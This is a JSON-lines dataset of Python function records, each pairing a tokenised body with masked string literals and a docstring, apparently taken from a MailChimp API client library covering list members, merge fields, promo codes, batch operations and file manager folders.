{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StorePromoCodes, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>", "docstring": "Initialize the Endpoint\n:param args:\n:param kwargs:", "id": "f297:c0:m0"}
{"signature": "def create(self, store_id, promo_rule_id, data):", "body": "self.store_id = store_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:code>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>return response<EOL><DEDENT>", "docstring": "Add a new promo code to a store.\n\n:param store_id: The store id\n:type store_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict'\ndata = {\n    \"id\": string*,\n    \"code\": string*,\n    \"redemption_url\": string*,\n    \"usage_count\": string,\n    \"enabled\": boolean,\n    \"created_at_foreign\": string,\n    \"updated_at_foreign\": string,\n}", "id": "f297:c0:m1"}
{"signature": "def all(self, store_id, promo_rule_id, get_all=False, **queryparams):", "body": "self.store_id=store_id<EOL>self.promo_rule_id=promo_rule_id<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a store\u2019s promo codes.\n\n:param store_id: The store's id\n:type store_id: `str`\n:param promo_rule_id: The store promo rule id\n:type store_id: `str`\n:param get_all:\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f297:c0:m2"}
{"signature": "def get(self, store_id, promo_rule_id, promo_code_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.promo_rule_id = promo_rule_id<EOL>self.promo_code_id = promo_code_id<EOL>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id, '<STR_LIT>', promo_code_id), **queryparams)<EOL>", "docstring": "Get information about a specific promo code.\n\n:param store_id: The store's id\n:type store_id: `string`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f297:c0:m3"}
{"signature": "def update(self, store_id, promo_rule_id, promo_code_id, data):", "body": "self.store_id = store_id<EOL>self.promo_rule_id = promo_rule_id<EOL>self.promo_code_id = promo_code_id<EOL>return self._mc_client._patch(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id, '<STR_LIT>', promo_code_id), data=data)<EOL>", "docstring": "Update a promo code\n\n:param store_id: The store id\n:type :py:class:`str`\n:param promo_rule_id: The id for the promo rule of a store.\n:type :py:class:`str`\n:param promo_code_id: The id for the promo code of a store.\n:type :py:class:`str`\n:param data:\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string,\n    \"title\": string,\n    \"description\": string,\n    \"starts_at\": string,\n    \"ends_at\": string,\n    \"amount\": number,\n    \"type\": string,\n    \"target\": string,\n    \"enabled\": boolean,\n    \"created_at_foreign\": string,\n    \"updated_at_foreign\": string,\n}", "id": "f297:c0:m4"}
{"signature": "def delete(self, store_id, promo_rule_id, promo_code_id):", "body": "self.store_id=store_id<EOL>self.promo_rule_id=promo_rule_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', promo_rule_id, '<STR_LIT>', promo_code_id))<EOL>", "docstring": "Delete a promo code\n:param store_id: The store id\n:type :py:class:`str`\n:param promo_rule_id: The id for the promo rule of a store.\n:type :py:class:`str`\n:param promo_code_id: The id for the promo code of a store.\n:type :py:class:`str`", "id": "f297:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(Ping, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>", "docstring": "Initialize the endpoint", "id": "f298:c0:m0"}
{"signature": "def get(self):", "body": "return self._mc_client._get(url=self._build_path())<EOL>", "docstring": "A health check for the API that won\u2019t return any account-specific information.", "id": "f298:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListInterestCategories, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.category_id = None<EOL>self.interests = ListInterestCategoryInterest(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f299:c0:m0"}
{"signature": "def create(self, list_id, data):", "body": "self.list_id = list_id<EOL>if '<STR_LIT:title>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:type>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT:type>'] not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.category_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.category_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new interest category.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"title\": string*,\n    \"type\": string* (Must be one of 'checkboxes', 'dropdown', 'radio', or 'hidden')\n}", "id": "f299:c0:m1"}
{"signature": "def all(self, list_id, get_all=False, **queryparams):", "body": "self.list_id = list_id<EOL>self.category_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a list\u2019s interest categories.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['type'] = string", "id": "f299:c0:m2"}
{"signature": "def get(self, list_id, category_id, **queryparams):", "body": "self.list_id = list_id<EOL>self.category_id = category_id<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', category_id), **queryparams)<EOL>", "docstring": "Get information about a specific interest category.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param category_id: The unique id for the interest category.\n:type category_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f299:c0:m3"}
{"signature": "def update(self, list_id, category_id, data):", "body": "self.list_id = list_id<EOL>self.category_id = category_id<EOL>if '<STR_LIT:title>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:type>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT:type>'] not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(list_id, '<STR_LIT>', category_id), data=data)<EOL>", "docstring": "Update a specific interest category.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param category_id: The unique id for the interest category.\n:type category_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"title\": string*,\n    \"type\": string* (Must be one of 'checkboxes', 'dropdown', 'radio', or 'hidden')\n}", "id": "f299:c0:m4"}
{"signature": "def delete(self, list_id, category_id):", "body": "self.list_id = list_id<EOL>self.category_id = category_id<EOL>return self._mc_client._delete(url=self._build_path(list_id, '<STR_LIT>', category_id))<EOL>", "docstring": "Delete a specific interest category.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param category_id: The unique id for the interest category.\n:type category_id: :py:class:`str`", "id": "f299:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportGoogleAnalytics, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.profile_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f300:c0:m0"}
{"signature": "def all(self, campaign_id, get_all=False, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get a summary of Google Analytics reports for a specific campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams:  The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f300:c0:m1"}
{"signature": "def get(self, campaign_id, profile_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.profile_id = profile_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>', profile_id), **queryparams)<EOL>", "docstring": "Get information about a specific Google Analytics report for a campaign.\n\n:param campaign_id: The unique id for the campaign\n:type campaign_id: :py:class:`str`\n:param profile_id: The Google Analytics View ID\n:type campaign_id: :py:class:`str`\n:param queryparams:\n:param queryparams:  The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f300:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListMergeFields, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.merge_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f301:c0:m0"}
{"signature": "def create(self, list_id, data):", "body": "self.list_id = list_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:type>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.merge_id = response['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self.merge_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new merge field for a specific list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*,\n    \"type\": string*\n}", "id": "f301:c0:m1"}
{"signature": "def all(self, list_id, get_all=False, **queryparams):", "body": "self.list_id = list_id<EOL>self.merge_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get a list of all merge fields (formerly merge vars) for a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['type'] = string\nqueryparams['required'] = boolean", "id": "f301:c0:m2"}
{"signature": "def get(self, list_id, merge_id):", "body": "self.list_id = list_id<EOL>self.merge_id = merge_id<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', merge_id))<EOL>", "docstring": "Get information about a specific merge field in a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param merge_id: The id for the merge field.\n:type merge_id: :py:class:`str`", "id": "f301:c0:m3"}
{"signature": "def update(self, list_id, merge_id, data):", "body": "self.list_id = list_id<EOL>self.merge_id = merge_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(list_id, '<STR_LIT>', merge_id), data=data)<EOL>", "docstring": "Update a specific merge field in a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param merge_id: The id for the merge field.\n:type merge_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f301:c0:m4"}
{"signature": "def delete(self, list_id, merge_id):", "body": "self.list_id = list_id<EOL>self.merge_id = merge_id<EOL>return self._mc_client._delete(url=self._build_path(list_id, '<STR_LIT>', merge_id))<EOL>", "docstring": "Delete a specific merge field in a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param merge_id: The id for the merge field.\n:type merge_id: :py:class:`str`", "id": "f301:c0:m5"}
{"signature": "def all(self, campaign_id, get_all=False, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.subscriber_hash = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about members who have unsubscribed from a specific\ncampaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f302:c0:m1"}
{"signature": "def get(self, campaign_id, subscriber_hash, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.campaign_id = campaign_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>', subscriber_hash), **queryparams)<EOL>", "docstring": "Get information about a specific list member who unsubscribed from a\ncampaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f302:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListMembers, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.subscriber_hash = None<EOL>self.activity = ListMemberActivity(self)<EOL>self.goals = ListMemberGoals(self)<EOL>self.notes = ListMemberNotes(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f303:c0:m0"}
{"signature": "def create(self, list_id, data):", "body": "self.list_id = list_id<EOL>if '<STR_LIT:status>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT:status>'] not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>'])<EOL>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.subscriber_hash = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.subscriber_hash = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new member to the list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"status\": string*, (Must be one of 'subscribed', 'unsubscribed', 'cleaned',\n        'pending', or 'transactional')\n    \"email_address\": string*\n}", "id": "f303:c0:m1"}
{"signature": "def all(self, list_id, get_all=False, **queryparams):", "body": "self.list_id = list_id<EOL>self.subscriber_hash = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about members in a specific MailChimp list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['email_type'] = string\nqueryparams['status'] = string\nqueryparams['before_timestamp_opt'] = string\nqueryparams['since_timestamp_opt'] = string\nqueryparams['before_last_changed'] = string\nqueryparams['since_last_changed'] = string\nqueryparams['unique_email_id'] = string\nqueryparams['vip_only'] = boolean\nqueryparams['interest_category_id'] = string\nqueryparams['interest_ids'] = string\nqueryparams['interest_match'] = string", "id": "f303:c0:m2"}
{"signature": "def get(self, list_id, subscriber_hash, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash), **queryparams)<EOL>", "docstring": "Get information about a specific list member, including a currently\nsubscribed, unsubscribed, or bounced member.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n    list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f303:c0:m3"}
{"signature": "def update(self, list_id, subscriber_hash, data):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._patch(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash), data=data)<EOL>", "docstring": "Update information for a specific list member.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n    list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f303:c0:m4"}
{"signature": "def create_or_update(self, list_id, subscriber_hash, data):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>'])<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if data['<STR_LIT>'] not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return self._mc_client._put(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash), data=data)<EOL>", "docstring": "Add or update a list member.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n    list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"email_address\": string*,\n    \"status_if_new\": string* (Must be one of 'subscribed',\n        'unsubscribed', 'cleaned', 'pending', or 'transactional')\n}", "id": "f303:c0:m5"}
{"signature": "def delete(self, list_id, subscriber_hash):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._delete(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash))<EOL>", "docstring": "Delete a member from a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`", "id": "f303:c0:m6"}
{"signature": "def delete_permanent(self, list_id, subscriber_hash):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>', '<STR_LIT>'))<EOL>", "docstring": "Delete permanently a member from a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`", "id": "f303:c0:m7"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(BatchOperations, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.batch_id = None<EOL>self.operation_status = None<EOL>", "docstring": "Initialize the endpoint", "id": "f304:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>for op in data['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT>' not in op:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if op['<STR_LIT>'] not in ['<STR_LIT:GET>', '<STR_LIT:POST>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(op['<STR_LIT>']))<EOL><DEDENT>if '<STR_LIT:path>' not in op:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT><DEDENT>return self._mc_client._post(url=self._build_path(), data=data)<EOL>", "docstring": "Begin processing a batch operations request.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"operations\": array*\n    [\n        {\n            \"method\": string* (Must be one of \"GET\", \"POST\", \"PUT\", \"PATCH\", or \"DELETE\")\n            \"path\": string*,\n        }\n    ]\n}", "id": "f304:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.batch_id = None<EOL>self.operation_status = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get a summary of batch requests that have been made.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f304:c0:m2"}
{"signature": "def get(self, batch_id, **queryparams):", "body": "self.batch_id = batch_id<EOL>self.operation_status = None<EOL>return self._mc_client._get(url=self._build_path(batch_id), **queryparams)<EOL>", "docstring": "Get the status of a batch request.\n\n:param batch_id: The unique id for the batch operation.\n:type batch_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f304:c0:m3"}
{"signature": "def delete(self, batch_id):", "body": "self.batch_id = batch_id<EOL>self.operation_status = None<EOL>return self._mc_client._delete(url=self._build_path(batch_id))<EOL>", "docstring": "Stops a batch request from running. Since only one batch request is\nrun at a time, this can be used to cancel a long running request. The\nresults of any completed operations will not be available after this\ncall.\n\n:param batch_id: The unique id for the batch operation.\n:type batch_id: :py:class:`str`", "id": "f304:c0:m4"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(FileManagerFolders, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.folder_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f305:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.folder_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.folder_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new folder in the File Manager.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f305:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.folder_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get a list of all folders in the File Manager.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['created_by'] = string\nqueryparams['before_created_at'] = string\nqueryparams['since_created_at'] = string", "id": "f305:c0:m2"}
{"signature": "def get(self, folder_id, **queryparams):", "body": "self.folder_id = folder_id<EOL>return self._mc_client._get(url=self._build_path(folder_id), **queryparams)<EOL>", "docstring": "Get information about a specific folder in the File Manager.\n\n:param folder_id: The unique id for the File Manager folder.\n:type folder_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f305:c0:m3"}
{"signature": "def update(self, folder_id, data):", "body": "self.folder_id = folder_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(folder_id), data=data)<EOL>", "docstring": "Update a specific File Manager file.\n\n:param folder_id: The unique id for the File Manager folder.\n:type folder_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f305:c0:m4"}
{"signature": "def delete(self, folder_id):", "body": "self.folder_id = folder_id<EOL>return self._mc_client._delete(url=self._build_path(folder_id))<EOL>", "docstring": "Delete a specific folder in the File Manager.\n\n:param folder_id: The unique id for the File Manager folder.\n:type folder_id: :py:class:`str`", "id": "f305:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListMemberNotes, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.subscriber_hash = None<EOL>self.note_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f306:c0:m0"}
{"signature": "def create(self, list_id, subscriber_hash, data):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.note_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.note_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new note for a specific subscriber.\n\nThe documentation lists only the note request body parameter so it is\nbeing documented and error-checked as if it were required based on the\ndescription of the method.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"note\": string*\n}", "id": "f306:c0:m1"}
{"signature": "def all(self, list_id, subscriber_hash, get_all=False, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>self.note_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get recent notes for a specific list member.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f306:c0:m2"}
{"signature": "def get(self, list_id, subscriber_hash, note_id, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>self.note_id = note_id<EOL>return self._mc_client._get(<EOL>url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>', note_id),<EOL>**queryparams<EOL>)<EOL>", "docstring": "Get a specific note for a specific list member.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param note_id: The id for the note.\n:type note_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f306:c0:m3"}
